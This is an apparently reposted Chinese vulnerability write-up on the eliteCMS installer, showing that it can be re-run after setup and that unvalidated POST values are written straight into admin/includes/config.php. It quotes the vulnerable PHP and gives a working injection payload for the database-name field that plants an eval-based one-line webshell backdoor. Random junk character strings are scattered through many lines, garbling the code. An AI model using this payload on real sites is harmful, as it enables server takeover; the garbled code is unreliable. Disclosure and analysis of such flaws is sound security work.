eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

  b( o8 Z; R: Y9 A6 C' I3 Y- S另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
  X; K; e% _0 r" b3 H# I我们来看代码：
, t: }  \. J+ _8 P  K" _& P
...
elseif ($_GET['step'] == "4") {
1 f# H8 n; B4 h9 D& {5 h: s    $file = "../admin/includes/config.php";
  q; s2 A! h% e# H    $write = "<?php\n";
    $write .= "/**\n";
8 s3 r! m9 V) S7 O" t1 M    $write .= "*\n";
* F" p1 \9 v5 r) r    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
; Y+ l. Q5 K+ V6 I    $write .= "*\n";
9 ~& o& I! \$ Y" A( B    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
  V# C- g1 u, g    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
. T' H  b3 t0 a$ e    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
  G8 R2 \% c" E    $write .= "if (!\$connection) {\n";
, G7 \! S) q  K- Q$ E    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
% P* u7 o3 Q; J# B    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

. ~5 L; Y! d2 v+ V/ e. B3 A    $writer = fopen($file, 'w');
...
0 L- s1 C6 D, t, h
在看代码：
% K, ]3 Z  b+ X/ E0 k+ }% C
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
3 _: r' A, c4 Y: t$_SESSION['DB_USER'] = $_POST['DB_USER'];
+ i. ]: ~5 _3 G8 T" }7 u9 Y9 w4 {0 S$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
# Z* B5 _8 Q3 I) V* k
取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
/ ^+ x) B' X5 v! \( d: k7 |7 j" ?
将导致一句话后门写入/admin/includes/config.php
$ p, {, g$ r4 |2 c